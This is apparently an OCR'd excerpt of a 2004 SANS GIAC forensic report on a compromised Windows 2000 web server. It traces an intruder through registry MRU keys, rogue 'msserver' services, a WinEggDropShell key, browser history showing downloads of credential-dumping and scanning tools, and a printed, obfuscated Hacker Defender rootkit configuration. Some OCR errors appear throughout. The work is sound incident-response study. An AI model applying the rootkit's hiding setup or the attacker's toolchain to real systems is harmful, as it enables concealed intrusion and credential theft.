LastWrite Time: 2004/5/16 05:04:41

[HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default]

LastWrite Time: 2004/5/28 23:31:13

"MRUO0"="210.PPP.QQQ.RRR "

"Full Address"="210.PPP.QQQ.RRR"
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"BitmapCachePersistEnable"=dword:00000001

"Desktop Size ID"=dword:00000001

"MRU1"="0"

"Domain"=hex:44,00,45,00,4d,00,4f,00,53,00,49,00,54,00,45,00,00,00

"UserName"=hex:54,00,73,00,49,00,6e,00,74,00,65,00,72,00,6e,00,65,00,74,00,55,\
00,73,00,65,00,72,00,00,00

"MRU2"="211.MMM.NNN.OOQ"

"MRU3"="210.JJJ.KKK.LLL"

"MRU4"="210.GGG.HHH.III"

"WinPosStr'="0,1,140,81,948,708"

"MRU5"="140.DDD.EEE.FFF"

The “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” records
a list of IP addresses that the user has visited through the “Terminal Server Client.” | noticed
this sub-key because the administrator told me that he had never used the “Terminal Server
Clinet” on this server. Thus, those IP addresses can be an evidence to prove that the
hacker(s) had connected to other machines by using this Web Server.

Table 2-6 The history of the Terminal Service Client

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/6/8 09:08:02

"MRUList"="ihgfedcba"

"c"="C:\\Documents and Settings\\Administrator\\__\\1.txt"
"g"="C:\WINNT\\system32\\drivers\\help\\234.exe"
"h"="C:\\Documents and Settings\\Administrator\\_\\234.exe"

"i"="C:\WINNT\\system32\\drivers\\help\\gooltel.exe"

This sub-key records the last files opened/saved by the Administrator account on the Web Server. Some strange
files appeared in the above table. These files might have been used by the hacker(s). Moreover, according to ths
LastWrite time, we know that the “C:\WINNT\system32\drivers\help\gooltel.exe” was opened/saved on June 8, 2
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at 09:08:02.

Table 2-7 The last files opened/saved by the Administrator

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/6/8 09:08:02

"a"="C:\\WINNT\system32\\drivers\\help\\234.exe"
"MRUList"="cba"
"b"="C:\\Documents and Settings\\Administrator\\_ \\234.exe"

"c"="C:\\WINNT\\system32\\drivers\\help\\gooltel.exe"

This sub-key records the last .exe files opened/saved by the Administrator account on the Web Server. Accordin
the LastWrite time, we can realize that the suspicious file, “C:\WINNT\system32\drivers\help\gooltel.exe” was
opened/saved on June 8, 2004 at 9:08:02.

Table 2-8 The last .exe files opened/saved by the Administrator

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF
LastWrite Time: 2004/5/28 22:08:24
"a"="C:\\Documents and Settings\\Administrator\\ \\1.txt"

"MRUList"="a"

This sub-key records the last .txt files opened/saved by the Administrator account on the Web Server. According
the LastWrite Time, we know that the suspicious file, “C:\Documents and Settings\Administrator\ \1.txt” was
opened/saved on May 28, 2004 at 22:08:24.

Table 2-9 The last .txt files opened/saved by the Administrator

5.2.2 The NTUSER.DAT of the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/5/26 17:02:58

"a"="C:\WINNT\\system32\\drivers\\help\\mmdI"

"MRUList"="dcba"
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"b"="C:\\WINNT\system32\\drivers\\help\\ssvc1"
"¢"="C:\\WINNT\\system32\\drivers\\help\\mmdI2"

"d"="C:\\WINNT\system32\\drivers\\help\\ssvc2"

This sub-key records the last files opened/saved by the TsInternetUser account on the Web Server. Because the
TslnternetUser account was only used by the hacker(s), it means all of the above files were used by the hacker(
and the “C:\WINNT\system32\drivers\help\ssvc2” was opened/saved on May 26, 2004 at 17:02:58.

Table 2-10 The last files opened/saved by the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/5/27 02:20:10

"a"="C:\\WINNT\system32\\drivers\\help\\2.csv"
"MRUList"="ajihgfedcb"
"b"="C:\\WINNT\system32\\drivers\\help\\ssvc2"
"c"="C:\\WINNT\\system32\\internets.exe"
"d"="C:\\WINNT\\system32\\admdil.dll"
"e"="C:\\WINNT\system32\\drivers\\help\\1.csv"
"f'="C:\\WINNT\\system32\\msserver.exe"
"g"="C:\\WINNT\\system32\\msserver.ini"
"h"="C:\\Inetpub\\wwwroot\\tw\\image\\iis.asp"
"i"="C:\\Inetpub\\wwwroot\\tw\\image\\1.txt"

"|"="C:\\stopftp.vbs"

This sub-key records the last files opened/saved by the TsInternetUser account on the Web Server. All files sho
in the above table were used by the hacker(s) and the “C:\WINNT\system32\drivers\help\2.csv” was opened/sav
on May 27, 2004 at 02:20:10.

Table 2-11 The last files opened/saved by the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/5/26 23:21:01
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"a"="C:\\Inetpub\\wwwroot\\tw\\image\\iis.asp"

"MRUList"="a"

This sub-key records the last .asp files opened/saved by the TsInternetUser account on the Windows system. Al
shown in the above table were opened/saved by the hacker(s).

Table 2-12 The last .asp files opened/saved by the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/5/27 02:20:10

"a"="C:\\WINNT\system32\\drivers\\help\\1.csv"
"MRUList"="ba"

"b"="C:\\WINNT\system32\\drivers\\help\\2.csv"

This sub-key records the last .csv files opened/saved by the TsInternetUser account on the Web Server. All files
in the above table were used by the hacker(s) and the "C:\WINNT\system32\drivers\help\2.csv" was opened/sav
May 27, 2004 at 2:20:10.

Table 2-13 The last .csv files opened/saved by the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/5/26 17:10:15

"a"="C:\\WINNT\\system32\\drivers\\help\\pwdump4.dil"
"MRUList"="cba"
"b"="C:\WINNT\\system32\\drivers\\help\\sbaanetapi.dll"

"c"="C:\\WINNT\\system32\\admdIl.dII"

This sub-key records the last .dll files opened/saved by the TsInternetUser account on the Web Server. All files ¢
in the above table were used by the hacker(s) and the “C:\WINNT\system32\admdll.dll” was opened/saved on M
26, 2004 at 17:10:15.

Table 2-14 The last .dll files opened/saved by the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF
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LastWrite Time: 2004/5/26 22:53:27

"a"="C:\\WINNT\\system32\\drivers\\help\\pw4.exe"
"MRUList"="hgfedcba"
"b"="C:\\WINNT\system32\\drivers\\help\\dsscan.exe"
"c"="C:\\WINNT\\system32\\drivers\\help\\mdtm2.exe"
"d"="C:\\WINNT\system32\\drivers\\help\\ms04011.exe"
"e"="C:\\WINNT\system32\\drivers\\help\\FTPScan.exe"
"f'="C:\\WINNT\\system32\\drivers\\help\\getos.exe"
"g"="C:\\WINNT\system32\\internets.exe"

"h"="C:\\WINNT\\system32\\msserver.exe"

This sub-key records the last .exe files opened/saved by the TsInternetUser account on the Web Server. All files
shown in the above table were used by the hacker(s) and "C:\ WINNT\system32\msserver.exe" was opened/sav
May 26, 2004 at 22:53:27.

Table 2-15 The last .exe files opened/saved by the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/5/26 22:54:59

"a"="C:\\WINNT\\system32\\msserver.ini"

"MRUList"="a"

This sub-key records the last .ini files opened/saved by the TsInternetUser account on the Web Server. All files ¢
in the above table were saved by the hacker(s) and "C:\WINNT\system32\msserver.ini" was opened/saved on M
26, 2004 at 22:54:59.

Table 2-16 The last .ini files opened/saved by the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/5/26 23:24:32

"a"="C:\Inetpub\\wwwroot\\tw\\image\\1.txt"

"MRUList"="a"
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This sub-key records the last .txt files opened/saved by the TsInternetUser account on the Web Server. All files
in the above table were used by the hacker(s) and "C:\Inetpub\wwwroot\tw\image\1.txt" was opened/saved on M
26, 2004 at 22:54:59.

Table 2-17 The last .txt files opened/saved by the TsInternetUser

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSaveMF

LastWrite Time: 2004/5/26 23:36:13

"a"="C:\\stopftp.vbs"

"MRUList"="a"

This sub-key records the last .vbs files opened/saved by the TsInternetUser account on the Web Server. All files
in the above table were used by the hacker(s) and "C:\stopftp.vbs" was opened/saved on May 26, 2004 at 23:36

Table 2-18 The last .vbs files opened/saved by the TsInternetUser

5.2.3 The Software Registry

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\WinEggDropShell]

LastWrite Time: 2004/5/17 17:07:05

"Efiibu"="""

"Nimbdshulfjb"="wjtqd)b1b"

"Tbugndblfjb"="Wijtqdt"
"Wfttphuc"="a5b9f1f741fc4468b3767ece2a39e0e7"
"TbugndbWhus"="6754"

"JinkFddhris"="j}vX5776Gohsjfnk)dh;"

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\WinEggDropShell\SnifferSettings]

LastWrite Time: 2004/5/17 23:06:40

"SnifferNIC"="0"

There are two strange sub-keys, "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\WinEggDropShell” and “HKEY_LOCAL_MACHINE\Software\Microsoft\Internet
Explorer\WinEggDropShell\SnifferSettings,” which do not look like a normal sub-key of the
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Windows 2000, and they were written on May 17, 2004 at 17:07:05.

Table 2-19 Two strange sub-keys loaded from
C:\WINNT\system32\config\software

5.2.4 The System Registry

[HKEY_LOCAL_MACHINE\System\ControlSet001\Control\SafeBoot\Minimal\msserver]

LastWrite Time: 2004/5/26 22:57:59

@="Service"

[HKEY_LOCAL_MACHINE\System\ControlSet001\Control\SafeBoot\Network\msserver]

LastWrite Time:2004/5/26 22:57:59

@="Service"
[HKEY_LOCAL_MACHINE\System\ControlSet001\Services\msserver]

LastWrite Time:2004/5/26 22:57:59

"Type"=dword:00000010

"Start"=dword:00000002

"ErrorControl"=dword:00000000

"ImagePath"=hex(2):43,00,3a,00,5¢,00,57,00,49,00,4e,00,4¢,00,54,00,5¢,00,73,00,\
79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5¢,00,6d,00,73,00,73,00,65,00,72,\
00,76,00,65,00,72,00,2¢,00,65,00,78,00,65,00,00,00

"DisplayName"="Microsoft Internet Service"

"ObjectName"="LocalSystem"

"Description"="Microsoft Internet Security Service"

[HKEY_LOCAL_MACHINE\System\ControlSet001\Services\msserver\Security]

LastWrite Time: 2004/5/26 22:56:59

"Security"=hex:01,00,14,80,a0,00,00,00,ac,00,00,00,14,00,00,00,30,00,00,00,02,\

© SANS Institute 2004, As part of GIAC practical repository. Auth¥r retains full rights.



00,1¢,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,\
00,00,02,00,70,00,04,00,00,00,00,00,18,00,fd,01,02,00,01,01,00,00,00,00,00,\
05,12,00,00,00,00,00,00,00,00,00,1¢,00,ff,01,0f,00,01,02,00,00,00,00,00,05,\
20,00,00,00,20,02,00,00,00,00,00,00,00,00,18,00,8d,01,02,00,01,01,00,00,00,\
00,00,05,0b,00,00,00,20,02,00,00,00,00,1¢,00,fd,01,02,00,01,02,00,00,00,00,\
00,05,20,00,00,00,23,02,00,00,00,00,00,00,01,01,00,00,00,00,00,05,12,00,00,\

00,01,01,00,00,00,00,00,05,12,00,00,00

[HKEY_LOCAL_MACHINE\System\ControlSet001\Services\msserverdrv]

LastWrite Time: 2004/5/26 22:58:01

"ErrorControl"=dword:00000000

"ImagePath"=hex(2):5¢,00,3f,00,3f,00,5¢,00,43,00,3a,00,5¢,00,57,00,49,00,4e,00,\
4e,00,54,00,5¢,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5¢,00,6d,\
00,73,00,73,00,65,00,72,00,76,00,65,00,72,00,64,00,72,00,76,00,2¢,00,73,00,\
79,00,73,00,00,00

"Start"=dword:00000003

"Type"=dword:00000001

[HKEY_LOCAL_MACHINE\System\ControlSet002\Control\SafeBoot\Minimal\msserver]

LastWrite Time: 2004/5/26 22:57:59

@="Service"

[HKEY_LOCAL_MACHINE\System\ControlSet002\Control\SafeBoot\Network\msserver]

LastWrite Time: 2004/5/26 22:57:59

@="Service"

[HKEY_LOCAL_MACHINE\System\ControlSet002\Services\msserver]
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LastWrite Time: 2004/5/26 22:57:59

"Type"=dword:00000010

"Start"=dword:00000002

"ErrorControl"=dword:00000000

"ImagePath"=hex(2):43,00,3a,00,5¢,00,57,00,49,00,4e,00,4e,00,54,00,5¢,00,73,00,\
79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5¢,00,6d,00,73,00,73,00,65,00,72,\
00,76,00,65,00,72,00,2¢,00,65,00,78,00,65,00,00,00

"DisplayName"="Microsoft Internet Service"

"ObjectName"="LocalSystem"

"Description"="Microsoft Internet Security Service"

[HKEY_LOCAL_MACHINE\System\ControlSet002\Services\msserver\Security]

LastWrite Time: 2004/5/26 22:57:59

"Security"=hex:01,00,14,80,a0,00,00,00,ac,00,00,00,14,00,00,00,30,00,00,00,02,\
00,1¢,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,\
00,00,02,00,70,00,04,00,00,00,00,00,18,00,fd,01,02,00,01,01,00,00,00,00,00,\
05,12,00,00,00,00,00,00,00,00,00,1¢,00,ff,01,0f,00,01,02,00,00,00,00,00,05,\
20,00,00,00,20,02,00,00,00,00,00,00,00,00,18,00,8d,01,02,00,01,01,00,00,00,\
00,00,05,0b,00,00,00,20,02,00,00,00,00,1¢,00,fd,01,02,00,01,02,00,00,00,00,\
00,05,20,00,00,00,23,02,00,00,00,00,00,00,01,01,00,00,00,00,00,05,12,00,00,\

00,01,01,00,00,00,00,00,05,12,00,00,00

[HKEY_LOCAL_MACHINE\System\ControlSet002\Services\msserverdrv]

LastWrite Time: 2004/5/26 22:58:01

"ErrorControl"=dword:00000000
"ImagePath"=hex(2):5¢,00,3f,00,3f,00,5¢,00,43,00,3a,00,5¢,00,57,00,49,00,4¢€,00,\

4e,00,54,00,5¢,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5¢,00,6d,\
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00,73,00,73,00,65,00,72,00,76,00,65,00,72,00,64,00,72,00,76,00,2¢,00,73,00,\
79,00,73,00,00,00
"Start"=dword:00000003

"Type"=dword:00000001

There are some strange sub-keys and two abnormal services, “msserver” and
“msserverdrv,” whose image paths are “C:\WINNT\system32\msserver.exe” and
“A?2C:\WINNT\system32\msserverdrv.sys.” According to the LastWrite time, it implies those
suspicious services were installed on May 26, 2004 at 22:57. Besides, | noticed one thing
interesting: that is | did not find those services from the previous review of the run-time
service information gathered by the “psservice.exe.”

Table 2-20 Some strange sub-keys loaded form
C:\WINNT\system32\config\system

5.3 Internet history analysis

To analyze the Internet history, the “Internet Explorer History Viewer” was
used to read “index.dat” files. A screenshot is shown as follows:

P nternes Exgploses History Veewer - Demo Version ] i =101 =]
Fie Help

Histoy Fie: | Ot Hishory File ]

Type Date bk Tima Location

URL 2004/6/8 03 03:04 Vigiled Admmstrateel@hitp /140,112 46 200/ course/al /a1 Hesd wh_enl! vhi_pvl/gocllel exe

LFAL 2004/6/8 030904 Visibed: Adminizirabor@flec/ /0 AWTHNT S stemid2ddivess Mhelpdgookel exe

URL 200458 050728 Wisiled AdmeustisborZRabout blank

URL 2004/6/8 03:5550 Vigiled: Adminisirator@http /140112 46 200/ course/a1/a1 fles’_vh_cnld_whi_pyb 234 exe

URL 2004/6/8 08:55.48 Visited: &dminiztraboeE@ile: /AT D ocuments S 0and 205 ettings  Adrmeristaton S 5023 exe

LURL 2008 /648 (55532 Witiled. Adminigirstor@ile /T AVTHNT ey stem3 2 dnvere/help/ 234 sxe

URL 2004/6/7 23:34:00 Visited: Admiiztrator@ie/ /L Documents ¥ 20and 205 ettings/\Admariztraton 88 00 /P asslog Log

URL 2004/5/28 2304-26 Admirestratce@about Home:

URL Counk: [ REDA Count File Version: Intemet Exploier 5.5

Seach I Exat I

Figure 2-4 A screenshot of Internet Explorer History Viewer

Parts of the interesting records are as shown in the following tables, from
Table 2-21 to Table 2-27. Those records indicate that some suspicious files
which | noticed in the pervious analysis were downloaded from the website of
the “140.DDD.EEE.FFF.” And, those records also provide information about
when the hacker(s) accessed these suspicious files. This information not only
can be used to infer what the hacker(s) did but it can also be used in the
timeline analysis.

| Source File Name: C:\ Documents and Settings\Administrator\Local |
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Settings\History\History.IE5\index.dat

2004/6/8 09:08:04  Visited:
Administrator@http://140.DDD.EEE.FFF/course/a1/a1 files/_vti_cnf/_vti_pvt/gooltel.exe

2004/6/8 09:08:04  Visited:
Administrator@file:///C:/WINNT/system32/drivers/help/gooltel.exe

2004/6/8 08:55:50  Visited:
Administrator@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/234.exe

2004/6/8 08:55:48  Visited:
Administrator@file:///C:/Documents%20and%20Settings/Administrators/__/234.exe

2004/6/8 08:55:32  Visited:
Administrator@file:///C:/WINNT/system32/drivers/help/234.exe

2004/6/7 23:34:00  Visited:
Administrator@file:///C:/Documents%20and%20Settings/Administrator/ /PasslLog.Log

Table 2-21 History records of the Administrator

Source File Name: C:\ Documents and Settings\Administrator\Local
Settings\History\History.IE5\MSHist012004060820040609\index.dat

2004/6/8 09:08:04
Administrator@http://140.DDD.EEE.FFF/course/at/a1 files/_vti_cnf/_vti_pvt/gooltel.exe

2004/6/8 09:08:04  Administrator@file:///C:/WINNT/system32/drivers/help/gooltel.exe

2004/6/8 08:55:50
Administrator@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/234.exe

2004/6/8 08:55:48
Administrator@file:///C:/Documents%20and%20Settings/Administrators/__/234.exe

2004/6/8 08:55:32  Administrator@file:///C:/WINNT/system32/drivers/help/234.exe

2004/6/8 08:55:32  Administrator@Host:140.DDD.EEE.FFF

Table 2-22 History records of the Administrator on June 8, 2004

Source File Name: C:\ Documents and Settings/Administrator/Local
Settings/History/History.IE5/MSHist012004060820040608/index.dat

2004/6/7 23:34:00
Administrator@file:///C:/Documents%20and%20Settings/Administrator/ /PassLog.

Log
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Table 2-23 History records of the Administrator on June 7, 2004

Source File Name: C:\ Documents and Settings/Administrator/Local
Settings/History/History.IE5/MSHist012004060820040529/index.dat

Administrator_2004/5/28 22:08:26
Administrator@file:///C:/Documents%20and%20Settings/Administrator/ /1.txt

Table 2-24 History records of the Administrator on May 28, 2004

Source File Name: C:\ Documents and Settings\TsInternetUser\Local
Settings\History\History.IE5\index.dat

2004/5/26 23:46:10 Visited: TsInternetUser@http://172.16.1.2
2004/5/26 23:36:26  Visited: TsInternetUser@file://C:/stopftp.vbs
2004/5/26 23:24:34 Visited: TsInternetUser@file://C:/Inetpub/wwwroot/tw/image/1.txt

2004/5/26 23:17:08 Visited:
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/iis.exedd

2004/5/26 22:55:00 Visited: TsInternetUser@file:///C:/WINNT/system32/msserver.ini

2004/5/26 22:53:30 Visited:
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/234.exe

2004/5/26 22:53:28 Visited: TslInternetUser@file:///c:/WINNT/system32/msserver.exe

2004/5/26 22:51:38 Visited:
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 .files/_vti_cnf/_vti_pvt/123.exe

2004/5/26 22:51:20 Visited:
TsinternetUser@http://140.DDD.EEE.FFF/course/a1/a1.files/_vti_cnf/_vti_pvt/123

2004/5/26 17:10:18  Visited:
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/admdlil.dll

2004/5/26 17:09:58 Visited:
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1.files/_vti_cnf/_vti_pvt/internets.exe

2004/5/26 17:09:52 Visited: TsInternetUser@file:///C:/WINNT/system32/internets.exe

2004/5/26 17:03:00 Visited:
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/ssvc2

2004/5/26 17:02:50 Visited:
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1.files/ vti_cnf/ vti pvt/mmdI|2
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Table 2-25 History records of the TsInternetUser

Source File Name: C:\ Documents and Settings\TsInternetUser\Local
Settings\History\History.IE5\MSHist012004051720040518\index.dat

2004/5/17 22:10:54
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/getos.exe

2004/5/17 22:10:52  TsinternetUser@file:///C:/WINNT/system32/drivers/help/getos.exe

2004/5/17 22:10:22
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/FTPScan.exe

2004/5/17 22:10:20 TslInternetUser@file:///C:/WINNT/system32/drivers/help/FTPScan.exe

2004/5/17 22:09:40
TslnternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/ms04011.exe

2004/5/17 22:09:40 TslInternetUser@file:///C:/WINNT/system32/drivers/help/ms04011.exe

2004/5/17 22:09:12
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1.files/_vti_cnf/_vti_pvt/sbaanetapi.dll

2004/5/17 22:08:12
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/mdtm2.exe

2004/5/17 22:08:02 TslInternetUser@file:///C:/WINNT/system32/drivers/help/mdtm2.exe

2004/5/17 22:05:42
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/dsscan.exe

2004/5/17 22:05:40 TslInternetUser@file:///C:/WINNT/system32/drivers/help/dsscan.exe

2004/5/17 22:05:16
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/pwdump4.dil

2004/5/17 22:04:52
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/pw4.exe

2004/5/17 22:04:52  TsInternetUser@file:///C:/WINNT/system32/drivers/help/pw4.exe

2004/5/17 22:04:34
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 .files/_vti_cnf/_vti_pvt/ssvc1

2004/5/17 22:04:08
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 .files/_vti_cnf/_vti_pvt/mmdl

2004/5/17 22:01:40 TsInternetUser@http://140.DDD.EEE.FFF
2004/5/17 22:01:40 TsinternetUser@Host:140.DDD.EEE.FFF

2004/5/17 22:01:28 TsinternetUser@http://www.google.com.tw
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2004/5/17 22:01:28 TsinternetUser@Host://www.google.com.tw

Table 2-26 History records of the TsInternetUser on May 17, 2004

Source File Name: C:\ Documents and Settings\TsInternetUser\Local
Settings\History\History.IE5\MSHist012004051720040527\index.dat

2004/5/26 23:36:26 TslinternetUser@file:///C:/stopftp.vbx

2004/5/26 23:24:34  TsInternetUser@file:///C:/Intpub/wwwroot/tw/image/1.txt

2004/5/26 23:17:08
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvtliis.exedd

2004/5/26 22:55:00 TslInternetUser@file:///C:/WINNT/system32/msserver.ini

2004/5/26 22:53:30
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/234.exe

2004/5/26 22:53:28 TslnternetUser@file:///C:/WINNT/system32/msserver.exe

2004/5/26 22:51:38
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/123.exe

2004/5/26 22:51:38
TsinternetUser@http://140.DDD.EEE.FFF/course/a1/a1.files/_vti_cnf/_viti_pvt/123

2004/5/26 17:10:18
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/admdlil.dll

2004/5/26 17:09:58
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1.files/_vti_cnf/_vti_pvt/internets.exe

2004/5/26 17:09:52 TsinternetUser@file:///C:/WINNT/system32/internets.exe

2004/5/26 17:03:00
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/ssvc2

2004/5/26 17:02:50
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/mmdI2

2004/5/26 17:02:50 TsinternetUser@Host:140.DDD.EEE.FFF

Table 2-27 History records of the TsInternetUser on May 26, 2004
5.4 Cookies analysis
The “Internet Explorer History Viewer” can also be used to read Cookie

records. According to these records, | can realize when the hacker(s) logged
on or controlled the this server and when the hacker(s) surfed the Internet by
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using the Internet Explorer. This is also a good source to provide useful
information to do the timeline analysis.

Source File Name: C:\ Documents and Settings\TsInternetUser\Cookies\index.dat

2004/5/17 22:01:26

2004/5/17 22:01:24

2004/5/17 15:53:44

2004/5/17 15:53:44

2004/5/17 15:53:42

Cookie:tsinternetuser@google.com.tw/
Cookie:tsinternetuser@google.com/
Cookie:tsinternetuser@msn.com/
Cookie:tsinternetuser@msn.com.tw/

Cookie:tsinternetuser@www.msn.com.tw/

Table 2-28 Cookies of the TsInternetUser

5.5 Analyze the recently used files of users

By observing the “\Documents and Settings\{UserName}\Recent”
subdirectory, | can realize when and what files were used by a user. Further, it
is also an important hint to tell us what the hacker(s) had once done.

Source Directory: C:\Documents and Settings\Administrator\Recent

2004/6/8 08:55 234.exe.Ink Target:C:\Documents and Settings\Administrator\ \234.exe
2004/6/8 09:08 gooltel.exe.Ink Target:C:\WINNT\system32\drivers\help\gooltel.exe

2004/6/8 09:08 help.Ink Target:C:\WINNT\system32\drivers\help

Table 2-29 Recently used files of the Administrator

Source Directory: C:\Documents and Settings\TsInternetUser\Recent

2004/5/26 22:53 msserver.exe.Ink Target:C:\WINNT\system32\msserver.exe

2004/5/26 22:55 msserver (2).ini.Ink Target:C:\WINNT\system32\msserver.ini

Table 2-30 Recently used files of the TsInternetUser

5.6 Temporary Internet files analysis

When a user surfs the Internet, some temporary files will be remained in the
“\Documents and Settings\{UserName}\Local Settings\Temporary Internet
Files” subdirectory. Files located in this subdirectory can disclosure the
information about what the user had once viewed/downloaded from the
Internet by using the Internet Explorer.
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Therefore, efforts were made to find out some clues from the “Temporary
Internet Files” subdirectory. However, those temporary files of the
Administrator seem to have been cleared, and | can only collect some
temporary files and an “index.dat”, which can be read by using the “Internet
Explorer History Viewer,” from the "Temporary Internet Files” of the
TsInternetUser as shown from Table 2-31 to Table 2-34.

Source File Name: C:\ Documents and Settings\TsInternetUser\Local Settings\Temporary
Internet Files\Content.IE5\index.dat

2004/5/26 23:16:58
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/iis.exedd

2004/5/26 22:51:38
TsinternetUser@http://140.DDD.EEE.FFF/course/al/a1 files/_vti_cnf/_vti_pvt/123.exe

2004/5/26 22:51:20
TsinternetUser@http://140.DDD.EEE.FFF/course/a1/a1.files/_vti_cnf/_viti_pvt/123

Table 2-31 Temporary Internet files of the TsInternetUser

Source Directory: C:\ Documents and Settings\TsInternetUser\Local
Settings\Temporary Internet Files\Content.IE5\89UZ49EV\

2004/5/26 22:51:13  123[1].exe

Table 2-32 Temporary Internet files of the TsInternetUser

Source Directory: C:\ Documents and Settings\TsInternetUser\Local
Settings\Temporary Internet Files\Content.IE5\8HYZWL23\

2004/5/26 23:16:57 iis[1].exedd

Table 2-33 Temporary Internet files of the TsInternetUser

Source Directory: C:\ Documents and Settings\TsInternetUser\Local
Settings\Temporary Internet Files\Content.IES5\CPINWPUZ\

2004/5/26 22:50:19  123[1]

Table 2-34 Temporary Internet files of the TsInternetUser

5.7. Analyze unknown files
Based on the previous analysis, | found that some suspicious files were
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located at the “C:\Documents and Settings\{UserName}\Local
Settings\Temporary Internet Files”, “C:\WINNT\system32” and
“C:\WINNT\system32\drivers\help” subdirectories. These suspicious files
included two backdoors, one root kit, some hacker tools and some text files.
Besides, to evade the detection, most of these binary files were packed by
different kinds of packer such as UPX and PE Pack, etc. In this section, | will
discuss how | analyzed the “Hacker Defender” and the “WinEggDrop Shell”
within the Windows 2000 forensic environment. Finally, | will provide some
tables, Table 2-43 to Table 2-47, to summarize the information | have found
from these unknown files.

5.7.1 Hacker Defender

Based on the previous analysis in Table 2-20, | noticed that there were some
suspicious files, “msserver.exe” and “msserver.ini”, which were located at
“‘C:\WINNT\system32.” The “msserver.ini” was a text file and its contents were
shown in Table 2-35, which seems had been encoded by some way that | fail
to understand now.

[H<<<idden T>>a/"ble]

>ms"ser><v"™*

n<>t"k//er"ne>I*

p<m>s"v>c*

"[\:R:0:0\:t: :P:r>:0:c<:e:s:s:e<:s:>]
ms<s>e<r>:v<*
<nt>k"er\\<n"e>|//*"
AL
/[/H/idd\en Ser:vi"ces]
m/"sse\:rv*
p/ll[><ms\:"vc*
W//lindo\\ws Kernel Ser\\\:.vice*
r_s>e<r>v>er*
/

‘\\[Hi:dden R/">>egKeys]
m>ss"er\\ver
LE"GA>CY_MS<S:ERWV"ER
[[\mss"er//Iv:er"d<>r"v
LIEG"A<CY_"MSS"E:RV>ERD"RV>
IIpP\"ms<v>cs
<LE"GA//ICY_PM"\SVC>S
Win:dows\\ Kernel Servi///<>ce
LE:G\WACY_WINDO<>WS_//KERNEL_ SERVI<>CE

/
\"[Hid:den\> :RegValues]"™"

1
[StAartup\ Run/]

"[\Fr<ee>> S:"<pa>ce]

